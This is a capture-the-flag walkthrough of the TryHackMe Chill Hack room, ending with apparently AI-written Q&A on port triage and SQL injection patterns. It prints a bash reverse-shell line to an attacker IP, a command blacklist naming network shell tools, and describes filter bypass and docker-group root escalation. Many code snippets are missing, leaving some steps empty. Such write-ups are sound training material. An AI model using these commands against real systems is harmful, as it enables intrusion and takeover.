Tryhackme - Chillhack II - Second Wind

1. Speedrun the easy part

I will skip almost all of the Enumeration and go straight to main part as well as the new way to get the shell without tripping the alarm.

In this write up I use material from 2 writeups:

  1. Nobodyatall: https://www.youtube.com/watch?v=tlcDw5y-_aQ

  2. Musyoka Ian: https://musyokaian.medium.com/chill-hack-walkthrough-tryhackme-498aa9ad1388

So if you use:

ls
cat

You will be filtered, go with:

dir -la
tac index.php

Now you can press view source and we're now got out filter:

$blacklist = array('nc','python','bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');

We can now use this simple payload:

#!/bin/bash
bash -i >& /dev/tcp/10.11.135.134/6666 0>&1

On the site, use:

For some reasons the above shell doesn't work so I use this instead:

After that:

On our machine:

Then echo the key on the victim account

2. Now the hard part

Now that's where the good about NoBodyAtAll's writeup ended. Unfortunately, the later part of his video, a lot of it were assumption instead of black box pentesting, so I will now reference Musyoka's writeup here.

I uploaded and run a linpeas.sh report for in this case:

The port worth noticing here are 9001. Why, well, you have to check the Q&A [1],[2],[3],[4].

Now we pivot:

Voila~

But Musyokaian mentioned about chisel so I look into it, turns out there are much more to it than I know about. Let's begin:

When to use SSH vs. Chisel

Condition
Use SSH Port-Forward
Use Chisel Reverse Tunnel

You have SSH access (port 22 open)

✅ almost always simpler

❌ overkill

SSH is firewalled/disabled but outbound TCP works

❌ no SSH connection

✅ Chisel “pivots” over any TCP port

You need a SOCKS proxy for many ports

🔸 can do ssh -D SOCKS, but limited

🔸 Chisel only does static forwards

You want minimal setup and built-in tools

✅ SSH (ssh -L)

❌ extra binary to upload/use

On Kali:

  • --port 9003 → listen for Chisel clients on 9003

  • --reverse → allow clients to request reverse forwards

Keep this running.

On the victim's machine:

Bam!

Why am I doing this, simple, I want OSCP, and I'm not a genius, I will take every chance to practice.

Enough of tunneling.

By enumerating the /var/www/files and /var/www/ directory, I can see that there're a suspicious account.php, let's check it out:

A secure php for login should consist of 2 things: bindParam() and prepare() other wise it's just an invitation for SQLi. In this situation, this definitely is vulnerable to SQLi. [4]

Now, I could just straight up go for sqlmap but, OffSec doesn't allow the usage of sqlmap, well, I will use the code that Musyokaian used then:

Nifty!

Looking at the hackers.php file we get a hint and a picture the first thought that came in mind was stenography. So I download the image and steghide info it

I then extract it.

The file backup.zip was password protected so I have to use zip2john:

Command I used:

Now extract the backup.zip I got backup.php looking into it I got:

Decoding the password, I got: !d0ntKn0wmYp@ssw0rd

Now, try it out with each user we have anurodh in docker group:

From GTFObins I know that a user can privesc to root if they are in the docker group, so I did just that:

This is the hardest, most complicated room up to the time I write this writeup - on par with El Bandito 2, which owned me a rematch.


Q&A:

[1]

Base on this Linpeas.sh report, how do I know that 9001 deserved to be look into ?

You spot port 9001 as “interesting” for three quick reasons:

  1. It’s only bound to localhost In LinPEAS you see:

    Ports like 22 (SSH) or 80 (HTTP) are expected on 0.0.0.0, but anything listening on 127.0.0.1 is a service the box intends only for local use—often an internal API or admin interface you’re not supposed to see from the outside.

  2. It’s non-standard Common services have standard ports (MySQL on 3306, FTP on 21, DNS on 53, SSH on 22). Seeing 9001—a high, arbitrary number—indicates a custom application, not a default system service. Custom apps are prime targets for logic flaws or authentication bypasses.

  3. It hints at a pivot point Because it’s local‐only, you can’t reach it directly over the network. That tells you immediately:

    • You need to tunnel or pivot (e.g. with an SSH -L 9001:127.0.0.1:9001 forward, or a SOCKS proxy)

    • Once tunneled, you can connect your browser or tool to localhost:9001 as if you were on the target host

In short, any localhost-only, non-standard port is a red flag for post-exploitation enumeration. It almost always “deserves a look” because it’s both unusual and inaccessible without a pivot—which is precisely the challenge ChillHack wanted you to spot.

[2] Why not 53, 3306 and 33060?

Those other ports are definitely worth noting —but they’re “common, known-quantity” services, whereas 9001 screams “custom app” and “pivot here.” Concretely:

  1. Port 53 (127.0.0.53:53)

    • That’s your local DNS stub resolver (systemd-resolved).

    • It’s meant only for name lookups and won’t give you a web UI or shell.

    • It’s tightly locked down—no obvious way to turn a DNS lookup service into code execution without a CVE you haven’t found.

  2. Port 3306 (127.0.0.1:3306) and 33060 (127.0.0.1:33060)

    • Those belong to MySQL / MariaDB (the classic SQL port and the X-Protocol port).

    • They require valid database credentials—LinPEAS didn’t show any leaked creds for the DB user.

    • You could try brute-forcing or guessing a user/pass, but that’s time-consuming and noisy.

    • In a CTF or real engagement, custom apps (like the Customer Portal on 9001) are often far lower hanging fruit than cracking a MySQL instance.


In short

  • Standard services → MySQL, DNS, SSH: you need valid creds or a known exploit, and they’re not custom to the challenge.

  • Custom, localhost-only port (9001) → Almost by definition it’s an application the dev wrote for this box. It’s where the “fun” (SQLi, stego, backup.zip) lives.

That’s why you chase 9001 first—because it’s the obvious back-door to the challenge payloads, without needing extra creds or complex exploits.

[3] Thank you, what about chisel, docker, ... and other ports?

Below is an extension to that table showing how to treat ports and services you commonly run into during post-exploitation, including pivot tools like Chisel, container engines like Docker, and other “sticky” targets:

Port/Service
Action
Why / Notes

Docker socket

🔍 Enumerate

Not a TCP port but a Unix socket (/var/run/docker.sock). If your user is in docker group, you can mount the host FS or escape to root.

Chisel / Frp / Meshcat

🔍 Pivot

Often set up on high TCP ports (e.g. 8000–9000, 4444) to tunnel traffic. If you see a unknown listener in that range, try chisel client or your equivalent back-connect.

SOCKS proxy (SSH -D)

🔍 Pivot

SSH’s dynamic port (-D 1080) gives you a SOCKS proxy. Test curl --socks5-hostname localhost:1080 http://internal

RDP (3389)

⚠️ Windows?

On a Linux box you’ll rarely see it—but when you do (Wine, xrdp), brute or user-pass it for a GUI shell.

SMB (445, 139)

⚠️ File shares

Test smbclient -L //target for shares you can mount—sometimes C$.

RPC (111)

⚠️ Old NFS

Can lead to NFS mounts if misconfigured; not common in CTF but worth noting on Linux.

Jupyter Notebook (8888)

🔍 Data & code

Custom Python REPLs exposed on 127.0.0.1—great pivot once tunneled.

ElasticSearch (9200)

🔍 REST API

Often unprotected; you can dump indices, or even write scripts to RCE via script plugins.

Kafka (9092)

⚠️ Messaging

Rare in simple CTFs—needs creds or listener exploit.

Redis (6379)

⚠️ In-memory DB

If no requirepass, you can write .rdb or use CONFIG SET for code execution.

Memcached (11211)

⚠️ Cache

Can be abused for memcache injection or pwn scripts if unauthenticated.

VNC (5900+)

⚠️ GUI

Try connecting with no password; sometimes a “view only” server is misconfigured.


How to spot these in LinPEAS / nmap

  1. High port numbers (>=1024) often mean custom tools—try connecting with nc or your browser.

  2. Service names in netstat -tulpn (e.g. chisel, node, java, python) hint at pivot/listener programs.

  3. Docker group membership + presence of /var/run/docker.sock → immediately plan a container escape.

  4. If you see LISTEN on a socket path under /var/run/, note it—not just TCP ports.


Quick tips for pivot tools

  • Chisel defaults:

    • Server listens on :8000 by default; clients connect with chisel client host:8000 R:9001:127.0.0.1:9001.

  • Frp (Fast Reverse Proxy) often uses 7000, 7500 for control and high ports for tunnels.

  • Meshcat / ngrok /etc. use random high ports when self-hosted. If you spot a process named ngrok in ps, look for its port.

Whenever you hit an unfamiliar high-port listener, think:

“Is this a custom app or a pivot tool?”

— and probe it as you would any web service (HTTP GET, nc, or use the specific client).

[4] Musyokaian said that account.php is vulnerable to SQLi, how can I spot a vulnerable SQLi source code?

No placeholders, no binding = no protection

A safe version would look like:

Any time you see raw PHP variables being glued straight into a SQL string, you’ve got SQL-injection territory. In your screenshot the telltale bit is:

[EXTRA] What about other programming language? I vaguely remember python and other programming languages have the same errors. Can you make me a list of comparison for each popular programming languages?

Here’s how SQL‐injection looks and is prevented across several popular languages/drivers. Each snippet shows the “❌ vulnerable” way (string‐concatenation) and the “✅ safe” way (parameterized queries or ORM‐style bindings).

PHP (PDO) ❌ Vulnerable

✅ Safe (Parameterized)

Python (psycopg2 / PostgreSQL) ❌ Vulnerable

✅ Safe (Parameterized)

Python (sqlite3) ❌ Vulnerable

✅ Safe (Parameterized)

Java (JDBC) ❌ Vulnerable

✅ Safe (Parameterized)

C# (.NET) ❌ Vulnerable

✅ Safe (Parameterized)

Node.js (mysql) ❌ Vulnerable

✅ Safe (Parameterized)

Ruby (ActiveRecord) ❌ Vulnerable

✅ Safe (Parameterized)

or

✅ Safe (Parameterized)

Go (database/sql) ❌ Vulnerable

✅ Safe (Parameterized)

(or use $1,$2 for Postgres drivers)


Key Takeaways

  • If you see "…'"+var+"'…" or back‐tick/template interpolation directly in SQL, assume injection risk.

  • Always use the driver’s placeholder syntax (?, %s, :name, @param, $1, etc.) plus a bind/execute API.

  • Many ORMs offer a higher-level abstraction (where(u: user)), but under the hood they still generate safe parameterized SQL—avoid any method that takes a raw string with concatenation.

By training yourself to spot string concatenations inside SQL calls, you’ll catch injection flaws no matter the language.

Last updated